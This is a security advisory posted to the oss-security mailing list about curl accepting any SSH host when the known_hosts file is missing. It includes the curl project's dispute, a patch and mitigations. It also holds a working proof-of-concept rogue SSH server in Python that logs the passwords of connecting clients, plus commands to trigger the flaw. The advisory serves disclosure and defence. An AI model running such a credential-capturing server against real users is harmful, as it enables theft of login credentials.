|
Message-ID: <8685f39b-c4cb-2a11-82cb-74ed44432947@iki.fi> Date: Wed, 5 Feb 2025 17:08:31 +0200 (EET) From: Harry Sintonen <sintonen@....fi> To: oss-security@...ts.openwall.com Subject: Curl SSH Insufficient Host Identity Verification Curl SSH Insufficient Host Identity Verification ================================================ The latest version of this advisory is available at: https://sintonen.fi/advisories/curl-ssh-insufficient-host-identity-verification.txt Product: curl up to and including version 8.12.0 Severity: High if important curl SSH transfers are affected. However, most end users are not affected. Assess the risk & impact on individual system basis. Type: Improper Host Identity Validation CVE: Not assigned (Not considered a vulnerability by the CNA) Description ----------- Curl can perform SFTP and SCP connections to download from or upload to SSH server. As part of this SSH connection curl validates the host identity against the database of known hosts (.ssh/known_hosts). The curl man page about "--insecure" option says: (TLS SFTP SCP) By default, every secure connection curl makes is verified to be secure before the transfer takes place. This option makes curl skip the verification step and proceed without checking. ... For SFTP and SCP, this option makes curl skip the known_hosts verification. known_hosts is a file normally stored in the user's home directory in the ".ssh" subdirectory, which contains hostnames and their public keys. WARNING: using this option makes the transfer insecure. This documentation implies that by default (if --insecure option is not present), known_hosts verification will be performed, and the transfer is secure. However, due to a logic flaw, curl omits this validation if the .ssh/known_hosts file is missing entirely. When the file is missing curl connection to an SSH host system is vulnerable to attacker in the middle attacks. When using key based authentication, it allows a malicious host to spoof the target host, and either return tampered or otherwise malicious content on download, or for uploads for the attacker to capture the uploads. When using password authentication it will also leak the username and password to the attacker, and thus allows the attacker to connect to the intended target host with the leaked credentials. The ssh/.known_hosts file generally is missing for accounts that have not used ssh commands before. For interactive user accounts this can be considered rare. The situation can happen more often for technical accounts set up for applications or automated processing. It can also easily happen when curl is deployed via docker. For example using dockerized curl like this is vulnerable: $ docker run --rm curlimages/curl:8.11.1 -u bob:hunter2 sftp://target.invalid/file The attack can be performed at any network position between the curl client and the target SSH server. Typical low effort attack scenario would involve running a rogue access point that performs the attack. More advanced exploitation is possible by actors with privileged access to networking equipment. It should be noted that curl project itself doesn't consider this issue a security vulnerability. The project argues that the "Warning: Couldn't find a known_hosts file" message shown should be enough to alert the user to the issue. Additionally, the project argues that the documentation does not explicitly state that the operation would be safe if the known_hosts file is missing. The argument also is that the user should understand that the connection would be insecure under these circumstances. Finally, the project also mentions that this is the way curl has worked for a long time. Curl project also notes that this an area/behavior that could be improved in curl. My remarks on these arguments are: 1. The warning message is enough to warn the users There might not be human reading the warning message if curl is used in automation. Even if there is, this assumes that user understands that despite the message the user credentials have already been leaked, the download might have been replaced with malicious content, or the upload sent to an attacker controlled system. The message is also often hidden among a lot of other information presented (such as the progress bar), so it's rather easy to miss. 2. Documentation doesn't claim curl being secure in this condition This is true, but the documentation of --insecure option explicitly says that: "(TLS SFTP SCP) By default, every secure connection curl makes is verified to be secure before the transfer takes place." This statement is quite explicit in claiming that every TLS, SFTP, SCP connection is secure by default, unless if curl is told to be insecure. While the statement "There is no documentation claiming the opposite" is true, I argue that users can understand the documentation in a way that curl would be secure even if the known_hosts file is missing. 3. Users should understand curl being insecure in this condition Experienced users might understand that something is off if they spot the warning message. However, this assumes quite intimate understanding of SSH protocol and host key validation. In my experience this is not capability many inexperienced users have. Finally, all other SSH tools (including OpenSSH) by default will consider missing known_hosts file same as "the host is not known". 4. Curl has worked like this for a long time Generally, curl project doesn't want to change behavior on a whim, and I agree with this in most situations. Even a small behavioral change can lead to countless of automated tasks suddenly failing. If this long-standing behavior wouldn't lead to security impact this argument would be much stronger. Here I believe that curl should rather outright fail if the known_hosts file is missing. This would be a behavioral change, and it would break some existing workflows. But the affected workflows are vulnerable to Attacker in the Middle attacks, so I believe this is acceptable. I respect the curl project and the team and applaud their excellent security work. However, I can't agree with them about this issue not being a vulnerability. The full discussion about this can be read from the following Hackerone ticket: https://hackerone.com/reports/2961050 Details ------- Secure Shell (SSH) protocol depends on validation of trust. It is not merely enough to encrypt the communication towards a server, the client also must confirm the identity of the peer. The authentication aspect of SSH requires that the client has prior knowledge of the cryptographic identity of the target server. The SSH client must verify the authenticity of the server to ensure secure communication. CWE-295: Improper Host Certificate Validation --------------------------------------------- The curl application SSH server host certificate validation is insufficient. Since the authenticity check is omitted if the .ssh/known_hosts file is missing, a third party in privileged network position can tamper with the communication between the client and the server. As a result, an attacker in a privileged network position (any point between the curl application and the SSH server) can perform an Attacker in The Middle attack. This flaw is a result of a logic flaw in curl code at src/tool_operate.c: if(!config->insecure_ok) { char *known = findfile(".ssh/known_hosts", FALSE); if(known) { /* new in curl 7.19.6 */ result = res_setopt_str(curl, CURLOPT_SSH_KNOWNHOSTS, known); curl_free(known); if(result == CURLE_UNKNOWN_OPTION) /* libssh2 version older than 1.1.1 */ result = CURLE_OK; if(result) return result; } else warnf(global, "Couldn't find a known_hosts file"); } } When findfile() function cannot find the ".ssh/known_hosts" in any of the search paths, the code will result in not setting CURLOPT_SSH_KNOWNHOSTS at all. This, in turn, will result in libcurl to omit validating the host identity. As a result, curl will connect to any server, regardless of its identity. Notably, even though curl does print "Warning: Couldn't find a known_hosts file" to standard error when the attack is successful, it prints this right before connecting the host. At that point it is too late, and typically the user doesn't have time to react to the warning. The confidential information (such as credentials and file on upload operations) have already been sent to the unverified host. Proof of Concept ---------------- I developed a minimal proof of concept SSH server that demonstrates the issue by capturing the user credentials passed in curl invocation. This proof of concept does not enable file transfers, nor does it itself perform any attacker in the middle functionality. 1. Run a malicious SSH server: #!/usr/bin/env python3 import paramiko.rsakey import paramiko import threading import logging import socket logging.basicConfig(level = logging.INFO) class SSHServer(paramiko.ServerInterface): def __init__(self): self.event = threading.Event() def get_allowed_auths(self, username): logging.debug('[auth] Get username {} allowed auths'.format(username)) return "password,publickey,none" def check_auth_none(self, username): logging.debug('[none] Authenticated username {}'.format(username)) return paramiko.AUTH_FAILED def check_auth_password(self, username, password): logging.info('[pass] Authenticated username {} password {}'.format(username, password)) return paramiko.AUTH_FAILED class ClientConnection(threading.Thread): def __init__(self, group = None, target = None, name = None, args = ()): threading.Thread.__init__(self, group = group, target = target, name = name) self.args = args def run(self): hostkey = self.args[0] client = self.args[1] transport = None chan = None try: transport = paramiko.Transport(client) try: transport.load_server_moduli() except: pass transport.add_server_key(hostkey) server = SSHServer() try: transport.start_server(server=server) except: logging.warning('*** SSH negotiation failed, disconnect') client.close() return logging.info('Full remote version: {}'.format(transport.remote_version)) chan = transport.accept(10) if chan: chan.close() transport.close() except Exception as e: logging.info('*** Caught exception: {}: {}'.format(str(e.__class__), str(e))) if chan: chan.close() if transport: transport.close() pass def main(): hostkey = paramiko.rsakey.RSAKey.generate(1024) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind(('127.0.0.1', 2222)) sock.listen(7) while True: client, addr = sock.accept() logging.info('Received connection from {}:{}'.format(addr[0], addr[1])) t = ClientConnection(args = (hostkey, client,)) t.start() if __name__ == '__main__': main() 2. Connect to the malicious SSH server without a known_hosts file: $ mv ~/.ssh/known_hosts ~/.ssh/known_hosts.backup $ curl -u bob:hunter2 sftp://localhost:2222 3. The malicious SSH server dumps the credentials: ... INFO:root:[pass] Authenticated username bob password hunter2 ... Mitigations ----------- 1. You can apply the following patch to fix the issue: ---8<--- diff --git a/src/tool_operate.c b/src/tool_operate.c index 007a5e054..52e10a5f5 100644 --- a/src/tool_operate.c +++ b/src/tool_operate.c @@ -1170,14 +1170,13 @@ static CURLcode config2setopts(struct GlobalConfig *global, /* new in curl 7.19.6 */ result = res_setopt_str(curl, CURLOPT_SSH_KNOWNHOSTS, known); curl_free(known); - if(result == CURLE_UNKNOWN_OPTION) - /* libssh2 version older than 1.1.1 */ - result = CURLE_OK; - if(result) - return result; } - else + else { warnf(global, "Couldn't find a known_hosts file"); + result = res_setopt_str(curl, CURLOPT_SSH_KNOWNHOSTS, ""); + } + if(result) + return result; } } ---8<--- With this modification curl command will delegate the validation to the whichever SSH backend that has been compiled to curl. Empty filename cannot be opened and will result in the host identity not considered valid. This patch also changes the behaviour if the SSH backend doesn't understand CURLE_UNKNOWN_OPTION option: This is now considered a fatal error. Note that this patch likely won't apply as-is to all curl versions. However, the change should be trivial to backport to other curl releases, too. 2. If you cannot change curl or build your own, there are strategies that will prevent this vulnerability from getting triggered: - Ensure that the .ssh/known_hosts file exist (either preseeded with the out-of-band validated host identities, or if there are none, have an empty file). or - Employ --hostpubmd5 or --hostpubsha256 option to validate the host identity. Timeline -------- 2025-01-27 Discovered and reported the vulnerability via curl Hackerone program. 2025-01-27 Report declared "not security vulnerability". 2025-02-05 Released this advisory.
Powered by blists - more mailing lists
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.
Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.